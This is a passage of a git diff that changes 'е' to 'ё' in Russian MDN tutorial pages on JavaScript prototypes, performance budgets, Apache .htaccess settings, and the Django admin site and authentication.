метод доступным для всех экземпляров объектов, полученных из конструктора.</p> +<p>Должно появиться всплывающее окно, с именем пользователя, определённым в конструкторе. Это действительно полезно, но ещё более полезно то, что вся цепочка наследования обновляется динамически, автоматически делая этот новый метод доступным для всех экземпляров объектов, полученных из конструктора.</p> -<p>Подумайте об этом на мгновение. В нашем коде мы определяем конструктор, затем мы создаем экземпляр объекта из конструктора, <em>затем</em> добавляем новый метод к прототипу конструктора:</p> +<p>Подумайте об этом на мгновение. В нашем коде мы определяем конструктор, затем мы создаём экземпляр объекта из конструктора, <em>затем</em> добавляем новый метод к прототипу конструктора:</p> <pre class="brush: js">function Person(first, last, age, gender, interests) { @@ -227,13 +227,13 @@ Person.prototype.farewell = function() { alert(this.name.first + ' has left the building. Bye for now!'); };</pre> -<p>Но метод <code>farewell()</code> <em>по-прежнему</em> доступен в экземпляре объекта <code>person1</code> - его элементы были автоматически обновлены, чтобы включить недавно определенный метод <code>farewell()</code>.</p> +<p>Но метод <code>farewell()</code> <em>по-прежнему</em> доступен в экземпляре объекта <code>person1</code> - его элементы были автоматически обновлены, чтобы включить недавно определённый метод <code>farewell()</code>.</p> <div class="note"> <p><strong>Примечание:</strong> Если у вас возникли проблемы с получением этого примера для работы, посмотрите на наш пример <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-prototype.html">oojs-class-prototype.html</a> (см. также это <a href="http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-prototype.html">running live</a>).</p> </div> -<p>Вы редко увидите свойства, определенные в свойстве <code>prototype</code>, потому что они не очень гибки при таком определении. Например, вы можете добавить свойство следующим образом:</p> +<p>Вы редко увидите свойства, определённые в свойстве <code>prototype</code>, потому что они не очень гибки при таком определении. Например, вы можете добавить свойство следующим образом:</p> <pre class="brush: js">Person.prototype.fullName = 'Bob Smith';</pre> @@ -241,9 +241,9 @@ Person.prototype.farewell = function() { <pre class="brush: js">Person.prototype.fullName = this.name.first + ' ' + this.name.last;</pre> -<p>Однако это не работает, поскольку в этом случае <code>this</code> будет ссылаться на глобальную область, а не на область функции. Вызов этого свойства вернет <code>undefined undefined</code>. Это отлично работало с методом, который мы определили ранее в прототипе, потому что он находится внутри области функций, которая будет успешно перенесена в область экземпляра объекта. Таким образом, вы можете определить постоянные свойства прототипа (т. е. те, которые никогда не нуждаются в изменении), но обычно лучше определять свойства внутри конструктора.</p> +<p>Однако это не работает, поскольку в этом случае <code>this</code> будет ссылаться на глобальную область, а не на область функции. Вызов этого свойства вернёт <code>undefined undefined</code>. Это отлично работало с методом, который мы определили ранее в прототипе, потому что он находится внутри области функций, которая будет успешно перенесена в область экземпляра объекта. Таким образом, вы можете определить постоянные свойства прототипа (т. е. те, которые никогда не нуждаются в изменении), но обычно лучше определять свойства внутри конструктора.</p> -<p>Фактически, довольно распространенный шаблон для большего количества определений объектов - это определение свойств внутри конструктора и методов в прототипе. Это упрощает чтение кода, поскольку конструктор содержит только определения свойств, а методы разделены на отдельные блоки. Например:</p> +<p>Фактически, довольно распространённый шаблон для большего количества определений объектов - это определение свойств внутри конструктора и методов в прототипе. Это упрощает чтение кода, поскольку конструктор содержит только определения свойств, а методы разделены на отдельные блоки. Например:</p> <pre class="brush: js">// Определение конструктора и его свойств diff --git a/files/ru/learn/performance/business_case_for_performance/index.html b/files/ru/learn/performance/business_case_for_performance/index.html index 15c3dd82fc..985c2151f9 100644 --- a/files/ru/learn/performance/business_case_for_performance/index.html +++ b/files/ru/learn/performance/business_case_for_performance/index.html @@ -28,14 +28,14 @@ translation_of: Learn/Performance/business_case_for_performance <h2 id="Делайте_производительность_приоритетом">Делайте производительность приоритетом</h2> -<p>Мы уже обсудили, как приоритизация производительности может улучшить пользовательский опыт и доход компании. Мы также знаем, что игнорирование проблем производительности может привести к потери доходности. Эта статья объясняет, какие конкретные бизнес-показатели напрямую связаны с производительностью веб-приложений и как применить сервисное проектирование для улучшения пользовательского опыта. В статье подчеркивается важность понимания, как сумма всех небольших улучшений влияет на конверсию и удержание клиентов.</p> +<p>Мы уже обсудили, как приоритизация производительности может улучшить пользовательский опыт и доход компании. Мы также знаем, что игнорирование проблем производительности может привести к потери доходности. Эта статья объясняет, какие конкретные бизнес-показатели напрямую связаны с производительностью веб-приложений и как применить сервисное проектирование для улучшения пользовательского опыта. В статье подчёркивается важность понимания, как сумма всех небольших улучшений влияет на конверсию и удержание клиентов.</p> <dl> </dl> <h3 id="Бюджеты_производительности">Бюджеты производительности</h3> -<p>Установка бюджетов веб-производительности поможет вам быть уверенным в том, что команда придерживается верного пути и содержит приложение в хорошем состоянии. Бюджет производительности - это набор ограничений, которые, например, указывают максимальное количество HTTP запросов с клиента, максимальный размер всех ресурсов, минимально допустимую частоту кадров на конкретных устройствах и т.д. Бюджет может быть применён к определенному ресурсу, типу ресурсов, всем ресурсам на странице, конкретному показателю или пороговому показателю за какой-то период времени. Бюджет отражает достижимые цели, будь то время, количество или правило.</p> +<p>Установка бюджетов веб-производительности поможет вам быть уверенным в том, что команда придерживается верного пути и содержит приложение в хорошем состоянии. Бюджет производительности - это набор ограничений, которые, например, указывают максимальное количество HTTP запросов с клиента, максимальный размер всех ресурсов, минимально допустимую частоту кадров на конкретных устройствах и т.д. Бюджет может быть применён к определённому ресурсу, типу ресурсов, всем ресурсам на странице, конкретному показателю или пороговому показателю за какой-то период времени. Бюджет отражает достижимые цели, будь то время, количество или правило.</p> <p>Создание и продвижение бюджета помогает вам защищать интересы пользователя в борьбе с конкурирующими интересами: маркетингом, продажами или даже другими разработчиками, которые хотят добавить видео, сторонние скрипты или поиграться с новым фреймворком. Бюджеты помогают командам разработчиков защищать оптимальную производительность для пользователей, в то время как бизнес может заниматься расширением рынков.</p> diff --git a/files/ru/learn/server-side/apache_configuration_htaccess/index.html b/files/ru/learn/server-side/apache_configuration_htaccess/index.html index 12ff630a4b..d4b3ecee56 100644 --- a/files/ru/learn/server-side/apache_configuration_htaccess/index.html +++ b/files/ru/learn/server-side/apache_configuration_htaccess/index.html @@ -15,7 +15,7 @@ translation_of: Learn/Server-side/Apache_Configuration_htaccess Redirect 302 / http://example.com/ # Временное перенаправление на example.com </pre> -<p><strong>Блокирование</strong>: htaccess также может блокировать доступ с определенного IP адреса или диапазона IP адресов. Блокирование часто используется, чтобы запретить доступ к директории для различных ботов и поисковых пауков.</p> +<p><strong>Блокирование</strong>: htaccess также может блокировать доступ с определённого IP адреса или диапазона IP адресов. Блокирование часто используется, чтобы запретить доступ к директории для различных ботов и поисковых пауков.</p> <pre>deny from 146.0.74.205 # Блокирует все запросы с адреса 146.0.74.205</pre> @@ -25,7 +25,7 @@ Redirect 302 / http://example.com/ # Временное перенапра php_value auto_append_file "/real/path/to/file/footer.php" # Подключит файл footer.html в конец документа </pre> -<p><strong>Настройка страниц с ошибками:</strong> с помощью .htaccess можно перенаправлять пользователя на определенные страницы, при возникновении ошибок на сервере.</p> +<p><strong>Настройка страниц с ошибками:</strong> с помощью .htaccess можно перенаправлять пользователя на определённые страницы, при возникновении ошибок на сервере.</p> <pre>ErrorDocument 404 /notfound.html # Перенаправит пользователя на страницу notfound.html , при возникновении ошибки с кодом 404 ErrorDocument 500 /serverr.html # Перенаправит пользователя на страницу serverr.html , при возникновении ошибки с кодом 500 diff --git a/files/ru/learn/server-side/django/admin_site/index.html b/files/ru/learn/server-side/django/admin_site/index.html index 6cad300f10..9df48c1528 100644 --- a/files/ru/learn/server-side/django/admin_site/index.html +++ b/files/ru/learn/server-side/django/admin_site/index.html @@ -30,7 +30,7 @@ translation_of: Learn/Server-side/Django/Admin_site <p>Все необходимые настройки, которые необходимо включить в admin приложение вашего веб-сайта, были сделаны автоматически, когда вы <a href="/ru-RU/docs/Learn/Server-side/Django/skeleton_website">создали каркас проекта</a> ( информацию о необходимых актуальных зависимостях смотрите здесь - <a href="https://docs.djangoproject.com/en/1.10/ref/contrib/admin/">Django docs</a>) . В результате все, что необходимо сделать для того, чтобы добавить модели в приложение admin, это <em>зарегистрировать</em> их. В конце этой статьи мы представим краткую демонстрацию того, каким образом можно дополнительно настроить админ-панель для лучшего отображения данные наших моделей.</p> -<p>После регистрации моделей мы покажем как создать нового суперпользователя , войти на сайт от его имени и создать книги, авторов, экземпляры книг и жанры. Это будет полезным для тестирования представлений и шаблонов, которые мы начнем создавать в следующей части руководства.</p> +<p>После регистрации моделей мы покажем как создать нового суперпользователя , войти на сайт от его имени и создать книги, авторов, экземпляры книг и жанры. Это будет полезным для тестирования представлений и шаблонов, которые мы начнём создавать в следующей части руководства.</p> <h2 id="Регистрация_моделей">Регистрация моделей </h2> @@ -41,7 +41,7 @@ translation_of: Learn/Server-side/Django/Admin_site # Register your models here. </pre> -<p>Зарегистрируйте модели путем вставки следующего текста в нижнюю часть этого файла. Этот код просто импортирует модели и затем вызывает <code>admin.site.register</code> для регистрации каждой из них.</p> +<p>Зарегистрируйте модели путём вставки следующего текста в нижнюю часть этого файла. Этот код просто импортирует модели и затем вызывает <code>admin.site.register</code> для регистрации каждой из них.</p> <pre class="brush: python">from .models import Author, Genre, Book, BookInstance @@ -57,9 +57,9 @@ admin.site.register(BookInstance) <h2 id="Создание_суперпользователя">Создание суперпользователя</h2> -<p>Для того, чтобы войти в админ-панель, нам необходимо иметь учетную запись пользователя со статусом <em>Staff (сотрудники). </em>Для просмотра и создания записей, пользователю также понадобится разрешение для управления всеми нашими объектами. Вы можете создать учетную запись "superuser", которая дает полный доступ к сайту и все необходимые разрешения, используя <strong>manage.py</strong>.</p> +<p>Для того, чтобы войти в админ-панель, нам необходимо иметь учётную запись пользователя со статусом <em>Staff (сотрудники). </em>Для просмотра и создания записей, пользователю также понадобится разрешение для управления всеми нашими объектами. Вы можете создать учётную запись "superuser", которая даёт полный доступ к сайту и все необходимые разрешения, используя <strong>manage.py</strong>.</p> -<p>Для создания суперпользователя вызовите следующую команду из той же папки, где расположен <strong>manage.py</strong>. Вас попросят ввести имя пользователя, адрес электронной почты и надежный пароль. </p> +<p>Для создания суперпользователя вызовите следующую команду из той же папки, где расположен <strong>manage.py</strong>. Вас попросят ввести имя пользователя, адрес электронной почты и надёжный пароль. </p> <pre class="brush: bash">python3 manage.py createsuperuser </pre> @@ -70,7 +70,7 @@ admin.site.register(BookInstance) </pre> -<h2 id="Вход_в_админ-панель_и_ее_использование">Вход в админ-панель и ее использование</h2> +<h2 id="Вход_в_админ-панель_и_её_использование">Вход в админ-панель и её использование</h2> <p>Для входа в админ-панель откройте ссылку<em> /admin</em> (например <a href="http://127.0.0.1:8000/admin/">http://127.0.0.1:8000/admin</a>) и введите логин и пароль вашего нового суперпользователя (вас перенаправят на login-страницу и потом обратно на /admin после ввода всех деталей).</p> @@ -94,7 +94,7 @@ admin.site.register(BookInstance) <p>Для удаления книги из этого списка выберите чекбокс рядом с ней и действие <em>delete...</em> из выпадающего списка <em>Action</em>, а затем нажмите кнопку <strong>Go</strong>. Также можно добавить новую книгу, нажав на кнопку <strong>ADD BOOK</strong>. </p> -<p>Вы можете редактировать книгу, кликнув по ссылке с ее названием. Страница редактирования книги, приведенная ниже, практически идентична странице добавления новой книги. Основные отличия - это заголовок страницы (<em>Change book</em>) и наличие кнопок <strong>Delete</strong>, <strong>HISTORY</strong> и <strong>VIEW ON SITE. </strong>Последняя присутствует, так как мы определили метод <code>get_absolute_url() </code>в нашей модели.</p> +<p>Вы можете редактировать книгу, кликнув по ссылке с её названием. Страница редактирования книги, приведённая ниже, практически идентична странице добавления новой книги. Основные отличия - это заголовок страницы (<em>Change book</em>) и наличие кнопок <strong>Delete</strong>, <strong>HISTORY</strong> и <strong>VIEW ON SITE. </strong>Последняя присутствует, так как мы определили метод <code>get_absolute_url() </code>в нашей модели.</p> <p><img alt="Admin Site - Book Edit" src="https://mdn.mozillademos.org/files/13977/admin_book_modify.png" style="border-style: solid; border-width: 1px; display: block; height: 780px; margin: 0px auto; width: 841px;"></p> @@ -113,7 +113,7 @@ admin.site.register(BookInstance) <p>Django выполняет неплохую работу по созданию базовой админ-панели используя информацию из зарегистрированных моделей:</p> <ul> - <li>каждая модель имеет список записей, каждая из которых идентифицируется строкой, создаваемой методом <code>__str__()</code> модели, и связана с представлением для ее редактирования. По умолчанию, в верхней части этого представления находится меню действий, которое может быть использовано для удаления нескольких записей за раз</li> + <li>каждая модель имеет список записей, каждая из которых идентифицируется строкой, создаваемой методом <code>__str__()</code> модели, и связана с представлением для её редактирования. По умолчанию, в верхней части этого представления находится меню действий, которое может быть использовано для удаления нескольких записей за раз</li> <li>Формы для редактирования и добавления записей содержат все поля модели, которые расположены вертикально в порядке их объявления в модели. </li> </ul> @@ -143,7 +143,7 @@ admin.site.register(BookInstance) <p>Для изменения отображения модели в пользовательском интерфейсе админ-панели, необходимо определить класс <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#modeladmin-objects">ModelAdmin</a> (он описывает расположение элементов интерфейса, где Model - наименование модели) и зарегистрировать его для использования с этой моделью.</p> -<p>Давайте начнем с модели Author. Откройте файл <strong>admin.py</strong> в каталоге приложения (<strong>/locallibrary/catalog/admin.py</strong>). Закомментируйте исходную регистрацию (используя префикс #) этой модели:</p> +<p>Давайте начнём с модели Author. Откройте файл <strong>admin.py</strong> в каталоге приложения (<strong>/locallibrary/catalog/admin.py</strong>). Закомментируйте исходную регистрацию (используя префикс #) этой модели:</p> <pre class="brush: js"># admin.site.register(Author)</pre> @@ -183,7 +183,7 @@ class BookInstanceAdmin(admin.ModelAdmin): <p>Сейчас приложение <em>LocalLibrary</em> отображает всех авторов, используя имя объекта, возвращаемое методом <code>__str__()</code> модели. Это приемлемо, когда есть только несколько авторов, но, если их количество значительно, возможны дубликаты. Чтобы различить их или просто отобразить более интересную информацию о каждом авторе, можно использовать <a href="https://docs.djangoproject.com/en/dev/ref/contrib/admin/#django.contrib.admin.ModelAdmin.list_display">list_display</a> (для добавления дополнительных полей). </p> -<p>Замените класс <code>AuthorAdmin</code> кодом, приведенным ниже. Названия полей, которые будут отображаться в списке, перечислены в кортеже list_display в требуемом порядке (это те же имена, что и в исходной модели).</p> +<p>Замените класс <code>AuthorAdmin</code> кодом, приведённым ниже. Названия полей, которые будут отображаться в списке, перечислены в кортеже list_display в требуемом порядке (это те же имена, что и в исходной модели).</p> <pre class="brush: python">class AuthorAdmin(admin.ModelAdmin): list_display = ('last_name', 'first_name', 'date_of_birth', 'date_of_death') @@ -193,19 +193,19 @@ class BookInstanceAdmin(admin.ModelAdmin): <p><img alt="Admin Site - Improved Author List" src="https://mdn.mozillademos.org/files/14023/admin_improved_author_list.png" style="border-style: solid; border-width: 1px; display: block; height: 302px; margin: 0px auto; width: 941px;"></p> -<p>Для нашей модели <code>Book</code> добавим отображение полей <code>author</code> и <code>genre</code>. Поле <code>author</code> - это внешний ключ (<code>ForeignKey</code> ) связи один к одному, поэтому оно будет представлено значением <code>__str()__</code> для связанной записи. Замените класс <code>BookAdmin</code> на версию, приведенную ниже.</p> +<p>Для нашей модели <code>Book</code> добавим отображение полей <code>author</code> и <code>genre</code>. Поле <code>author</code> - это внешний ключ (<code>ForeignKey</code> ) связи один к одному, поэтому оно будет представлено значением <code>__str()__</code> для связанной записи. Замените класс <code>BookAdmin</code> на версию, приведённую ниже.</p> <pre class="brush: python">class BookAdmin(admin.ModelAdmin): list_display = ('title', 'author', 'display_genre') </pre> -<p>К сожалению, мы не можем напрямую поместить поле <font face="Consolas, Liberation Mono, Courier, monospace">genre в</font> <code>list_display</code>, так как оно является <code>ManyToManyField</code> (Django не позволяет это из-за большой "стоимости" доступа к базе данных). Вместо этого мы определим функцию <code>display_genre</code> для получения строкового представления информации (вызов этой функции есть в <code>list_display</code>, ее определение см. ниже).</p> +<p>К сожалению, мы не можем напрямую поместить поле <font face="Consolas, Liberation Mono, Courier, monospace">genre в</font> <code>list_display</code>, так как оно является <code>ManyToManyField</code> (Django не позволяет это из-за большой "стоимости" доступа к базе данных). Вместо этого мы определим функцию <code>display_genre</code> для получения строкового представления информации (вызов этой функции есть в <code>list_display</code>, её определение см. ниже).</p> <div class="note"> <p><strong>Примечание</strong>: Получение здесь значения поля <code>genre</code> возможно не самая хорошая идея вследствие "стоимости" операции базы данных. Мы показываем это, потому что вызов функций в ваших моделях может быть очень полезен по другим причинам, например, для добавления ссылки <em>Delete </em>рядом с каждым пунктом списка.</p> </div> -<p>Добавьте следующий код в вашу модель <code>Book</code> (<strong>models.py</strong>). В нем создается строка из первых трех значений поля <code>genre</code> (если они существуют) и <code>short_description</code>, которое может быть использовано в админ-панели.</p> +<p>Добавьте следующий код в вашу модель <code>Book</code> (<strong>models.py</strong>). В нем создаётся строка из первых трёх значений поля <code>genre</code> (если они существуют) и <code>short_description</code>, которое может быть использовано в админ-панели.</p> <pre class="brush: python"> def display_genre(self): """ @@ -215,11 +215,11 @@ class BookInstanceAdmin(admin.ModelAdmin): display_genre.short_description = 'Genre' </pre> -<p>После сохранения модели и обновления админ-панели, перезапустите ее и перейдите на страницу списка <em>Books</em>. Вы должны увидеть список книг, наподобие приведенного ниже:</p> +<p>После сохранения модели и обновления админ-панели, перезапустите её и перейдите на страницу списка <em>Books</em>. Вы должны увидеть список книг, наподобие приведённого ниже:</p> <p><img alt="Admin Site - Improved Book List" src="https://mdn.mozillademos.org/files/14025/admin_improved_book_list.png" style="border-style: solid; border-width: 1px; display: block; height: 337px; margin: 0px auto; width: 947px;"></p> -<p>Модель <code>Genre</code> (и модель <code>Language</code>, если вы ее определили) имеет единственное поле. Поэтому нет необходимости создания для них дополнительных моделей с целью отображения дополнительных полей.</p> +<p>Модель <code>Genre</code> (и модель <code>Language</code>, если вы её определили) имеет единственное поле. Поэтому нет необходимости создания для них дополнительных моделей с целью отображения дополнительных полей.</p> <div class="note"> <p><strong>Примечание</strong>: целесообразно, чтобы в списке модели <code>BookInstance</code> отображались хотя бы статус и ожидаемая дата возврата. Мы добавили это в качестве "испытания" в конце этой статьи!</p> @@ -227,7 +227,7 @@ class BookInstanceAdmin(admin.ModelAdmin): <h3 id="Добавление_фильтров_списка">Добавление фильтров списка</h3> -<p>Если в вашем списке есть множество элементов, может быть полезной возможность фильтрации отображаемых пунктов. Это выполняется путем перечисления их в атрибуте <code>list_filter</code>. Замените класс <code style="font-style: normal; font-weight: normal;">BookInstanceAdmin</code> на следующий:</p> +<p>Если в вашем списке есть множество элементов, может быть полезной возможность фильтрации отображаемых пунктов. Это выполняется путём перечисления их в атрибуте <code>list_filter</code>. Замените класс <code style="font-style: normal; font-weight: normal;">BookInstanceAdmin</code> на следующий:</p> <pre class="brush: python">class BookInstanceAdmin(admin.ModelAdmin): <strong> list_filter = ('status', 'due_back')</strong> @@ -242,7 +242,7 @@ class BookInstanceAdmin(admin.ModelAdmin): <p>По умолчанию в представлениях деталей отображаются все поля по вертикали в порядке их объявления в модели. Вы можете изменить порядок декларации, какие поля отображаются (или исключены), используются ли разделы для организации информации, отображаются ли поля горизонтально или вертикально, и даже какие виджеты редактирования используются в админ-формах.</p> <div class="note"> -<p><strong>Примечание:</strong> Модели LocalLibrary относительно просты, поэтому нам не нужно менять макет, но мы все равно внесем некоторые изменения, просто чтобы показать вам, как это сделать.</p> +<p><strong>Примечание:</strong> Модели LocalLibrary относительно просты, поэтому нам не нужно менять макет, но мы все равно внесём некоторые изменения, просто чтобы показать вам, как это сделать.</p> </div> <h4 id="Управление_отображаемыми_и_вложенными_полями">Управление отображаемыми и вложенными полями</h4> diff --git a/files/ru/learn/server-side/django/authentication/index.html b/files/ru/learn/server-side/django/authentication/index.html index 760cd8943c..636fc0e94b 100644 --- a/files/ru/learn/server-side/django/authentication/index.html +++ b/files/ru/learn/server-side/django/authentication/index.html @@ -39,7 +39,7 @@ original_slug: Learn/Server-side/Django/Аутентификация <h2 id="Обзор">Обзор</h2> -<p>Django предоставляет систему аутентификации и авторизации ("permission") пользователя, реализованную на основе фреймворка работы с сессиями, который мы рассматривали в <a href="/ru/docs/Learn/Server-side/Django/Sessions">предыдущей части</a>. Система аутентификации и авторизации позволяет вам проверять учетные данные пользователей и определять какие действия какой пользователь может выполнять. Данный фреймворк включает в себя встроенные модели для <code>Пользователей</code> и <code>Групп</code> (основной способ применения прав доступа для более чем одного пользователя), непосредственно саму систему прав доступа (permissions)/флаги, которые определяют может ли пользователь выполнить задачу, с какой формой и отображением для авторизованных пользователей, а так же получить доступ к контенту с ограниченным доступом.</p> +<p>Django предоставляет систему аутентификации и авторизации ("permission") пользователя, реализованную на основе фреймворка работы с сессиями, который мы рассматривали в <a href="/ru/docs/Learn/Server-side/Django/Sessions">предыдущей части</a>. Система аутентификации и авторизации позволяет вам проверять учётные данные пользователей и определять какие действия какой пользователь может выполнять. Данный фреймворк включает в себя встроенные модели для <code>Пользователей</code> и <code>Групп</code> (основной способ применения прав доступа для более чем одного пользователя), непосредственно саму систему прав доступа (permissions)/флаги, которые определяют может ли пользователь выполнить задачу, с какой формой и отображением для авторизованных пользователей, а так же получить доступ к контенту с ограниченным доступом.</p> <div class="note"> <p><strong>Примечание</strong>: В соответствии с идеологией Django система аутентификации является очень общей и, таким образом, не предоставляет некоторые возможности, которые присутствуют в других системах веб-аутентификации. Решениями некоторых общих задач занимаются пакеты сторонних разработчиков, например, защита от подбора пароля (через стороннюю библиотеку OAuth).</p> @@ -47,7 +47,7 @@ original_slug: Learn/Server-side/Django/Аутентификация <p>В данном разделе руководства мы покажем вам реализацию аутентификации пользователя на сайте <a href="https://developer.mozilla.org/ru/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>, создание страниц входа/выхода, добавления разграничения доступа (permissions) к вашим моделям, а также продемонстрируем контроль за доступом к некоторым страницам. Мы будем использовать аутентификацию/авторизацию для показа пользователям и сотрудникам библиотеки, списков книг, которые были взяты на прокат.</p> -<p>Система аутентификации является очень гибкой и позволяет вам формировать свои собственные URL-адреса, формы, отображения, а также шаблоны страниц, если вы пожелаете, с нуля, через простой вызов функций соответствующего API для авторизации пользователя. Тем не менее, в данной статье мы будем использовать "встроенные" в Django методы отображений и форм аутентификации, а также методы построения страниц входа и выхода. Нам все еще необходимо создавать шаблоны страниц, но это будет достаточно несложно.</p> +<p>Система аутентификации является очень гибкой и позволяет вам формировать свои собственные URL-адреса, формы, отображения, а также шаблоны страниц, если вы пожелаете, с нуля, через простой вызов функций соответствующего API для авторизации пользователя. Тем не менее, в данной статье мы будем использовать "встроенные" в Django методы отображений и форм аутентификации, а также методы построения страниц входа и выхода. Нам все ещё необходимо создавать шаблоны страниц, но это будет достаточно несложно.</p> <p>Мы покажем вам как реализовать разграничение доступа (permissions), а также выполнять соответствующую проверку статусов авторизации и прав доступа, в отображениях, и в шаблонах страниц.</p> @@ -104,7 +104,7 @@ user.save() <ol> <li>Нажмите на кнопку <strong>Add</strong> <strong>(Добавить)</strong> (рядом с Group) и создайте новую <em>группу</em>; для данной группы введите <strong>Name (Имя) </strong>"Library Members".<img alt="Admin site - add group" src="https://mdn.mozillademos.org/files/14093/admin_authentication_add_group.png" style="border-style: solid; border-width: 1px; display: block; height: 561px; margin: 0px auto; width: 800px;"></li> - <li>Для данной группы не нужны какие-либо разрешения, поэтому мы просто нажимаем кнопку <strong>SAVE (Сохранить)</strong> (вы перейдете к списку групп).</li> + <li>Для данной группы не нужны какие-либо разрешения, поэтому мы просто нажимаем кнопку <strong>SAVE (Сохранить)</strong> (вы перейдёте к списку групп).</li> </ol> <p>Теперь давайте создадим пользователя:</p> @@ -116,11 +116,11 @@ user.save() <li>Нажмите <strong>SAVE</strong> для завершения процесса создания пользователя.<br> <br> Административная часть сайта создаст нового пользователя и немедленно перенаправит вас на страницу <em>Change user (Изменение параметров пользователя)</em> где вы можете, соответственно, изменить ваш <strong>username</strong>, а кроме того добавить информацию для дополнительных полей модели User. Эти поля включают в себя имя пользователя, фамилию, адрес электронной почты, статус пользователя, а также соответствующие параметры доступа (может быть установлен только флаг <strong>Active</strong>). Ниже вы можете определить группу для пользователя и необходимые параметры доступа, а кроме того, вы можете увидеть важные даты, относящиеся к пользователю (дату подключения к сайту и дату последнего входа).<img alt="Admin site - add user pt2" src="https://mdn.mozillademos.org/files/14097/admin_authentication_add_user_prt2.png" style="border-style: solid; border-width: 1px; display: block; height: 635px; margin: 0px auto; width: 800px;"></li> - <li>В разделе <em>Groups</em>, из списка <em>Доступные группы</em> выберите группу <strong>Library Member</strong>, а затем переместите ее в блок "Выбранные группы" (нажмите <strong>стрелку-"направо"</strong>, находящуюся между блоками).<img alt="Admin site - add user to group" src="https://mdn.mozillademos.org/files/14099/admin_authentication_user_add_group.png" style="border-style: solid; border-width: 1px; display: block; height: 414px; margin: 0px auto; width: 933px;"></li> - <li>Больше нам не нужно здесь нечего делать, просто нажмите "Save"(Сохранить), и вы вернетесь к списку созданных пользователей.</li> + <li>В разделе <em>Groups</em>, из списка <em>Доступные группы</em> выберите группу <strong>Library Member</strong>, а затем переместите её в блок "Выбранные группы" (нажмите <strong>стрелку-"направо"</strong>, находящуюся между блоками).<img alt="Admin site - add user to group" src="https://mdn.mozillademos.org/files/14099/admin_authentication_user_add_group.png" style="border-style: solid; border-width: 1px; display: block; height: 414px; margin: 0px auto; width: 933px;"></li> + <li>Больше нам не нужно здесь нечего делать, просто нажмите "Save"(Сохранить), и вы вернётесь к списку созданных пользователей.</li> </ol> -<p>Вот и все! Теперь у вас есть учетная запись «обычного члена библиотеки», которую вы сможете использовать для тестирования (как только добавим страницы, чтобы пользователи могли войти в систему).</p> +<p>Вот и все! Теперь у вас есть учётная запись «обычного члена библиотеки», которую вы сможете использовать для тестирования (как только добавим страницы, чтобы пользователи могли войти в систему).</p> <div class="note"> <p><strong>Note</strong>: Попробуйте создать другого пользователя, например "Библиотекаря". Так же создайте группу "Библиотекарей" и добавьте туда своего только что созданного библиотекаря</p> @@ -153,7 +153,7 @@ urlpatterns += [ <p>Перейдите по <a href="http://127.0.0.1:8000/accounts/">http://127.0.0.1:8000/accounts/</a> URL (обратите внимание на косую черту!), Django покажет ошибку, что он не смог найти этот URL, и перечислить все URL, которые он пытался открыть. Из этого Вы можете увидеть URL-адреса, которые будут работать, например:</p> <div class="note"> -<p><span id="result_box" lang="ru"><span>Примечание. Использование вышеуказанного метода добавляет следующие URL-адреса с именами в квадратных скобках, которые могут использоваться для изменения сопоставлений URL-адресов.</span> <span>Вам не нужно реализовывать что-либо еще - приведенное выше сопоставление URL-адресов автоматически отображает указанные ниже URL-адреса.</span></span></p> +<p><span id="result_box" lang="ru"><span>Примечание. Использование вышеуказанного метода добавляет следующие URL-адреса с именами в квадратных скобках, которые могут использоваться для изменения сопоставлений URL-адресов.</span> <span>Вам не нужно реализовывать что-либо ещё - приведённое выше сопоставление URL-адресов автоматически отображает указанные ниже URL-адреса.</span></span></p> </div> <div class="note"> @@ -167,7 +167,7 @@ accounts/ reset/<uidb64>/<token>/ [name='password_reset_confirm'] accounts/ reset/done/ [name='password_reset_complete']</pre> </div> -<p><span id="result_box" lang="ru"><span>Теперь попробуйте перейти к URL-адресу входа (<a href="http://127.0.0.1:8000/accounts/login/">http://127.0.0.1:8000/accounts/login/</a>).</span> <span>Это приведет к сбою снова, но с ошибкой, сообщающей вам, что нам не хватает требуемого шаблона (registration / login.html) в пути поиска шаблона.</span> <span>Вы увидите следующие строки, перечисленные в желтом разделе вверху:</span></span></p> +<p><span id="result_box" lang="ru"><span>Теперь попробуйте перейти к URL-адресу входа (<a href="http://127.0.0.1:8000/accounts/login/">http://127.0.0.1:8000/accounts/login/</a>).</span> <span>Это приведёт к сбою снова, но с ошибкой, сообщающей вам, что нам не хватает требуемого шаблона (registration / login.html) в пути поиска шаблона.</span> <span>Вы увидите следующие строки, перечисленные в жёлтом разделе вверху:</span></span></p> <pre class="brush: python notranslate">Exception Type: TemplateDoesNotExist Exception Value: <strong>registration/login.html</strong></pre> @@ -202,7 +202,7 @@ Exception Value: <strong>registration/login.html</strong></pre> <h3 id="Шаблон_аутентификации">Шаблон <span id="result_box" lang="ru"><span>аутентификации</span></span></h3> <div class="warning"> -<p><strong>Важно</strong>: <span id="result_box" lang="ru"><span>Шаблоны аутентификации, представленные в этой статье, являются очень простой / слегка измененной версией шаблонов логина демонстрации Django.</span> <span>Возможно, вам придется настроить их для собственного использования!</span></span></p> +<p><strong>Важно</strong>: <span id="result_box" lang="ru"><span>Шаблоны аутентификации, представленные в этой статье, являются очень простой / слегка изменённой версией шаблонов логина демонстрации Django.</span> <span>Возможно, вам придётся настроить их для собственного использования!</span></span></p> </div> <p>Создайте новый HTML файл, названный /<strong>locallibrary/templates/registration/login.html</strong>. <span class="short_text" id="result_box" lang="ru"><span>дайте ему следующее содержание</span></span>:</p> @@ -248,13 +248,13 @@ Exception Value: <strong>registration/login.html</strong></pre> {% endblock %}</code></pre> -<p id="sect1"><span id="result_box" lang="ru"><span>Этот шаблон имеет сходство с тем, что мы видели раньше - он расширяет наш базовый шаблон и переопределяет блок контента.</span> <span>Остальная часть кода - это довольно стандартный код обработки формы, о котором мы поговорим в следующем учебном пособии.</span> <span>Все, что вам нужно знать, это показ формы, в которой вы можете ввести свое имя пользователя и пароль, а если вы введете недопустимые значения, вам будет предложено ввести правильные значения, когда страница обновится.</span></span></p> +<p id="sect1"><span id="result_box" lang="ru"><span>Этот шаблон имеет сходство с тем, что мы видели раньше - он расширяет наш базовый шаблон и переопределяет блок контента.</span> <span>Остальная часть кода - это довольно стандартный код обработки формы, о котором мы поговорим в следующем учебном пособии.</span> <span>Все, что вам нужно знать, это показ формы, в которой вы можете ввести своё имя пользователя и пароль, а если вы введёте недопустимые значения, вам будет предложено ввести правильные значения, когда страница обновится.</span></span></p> <p>Перейдите на страницу входа (<a 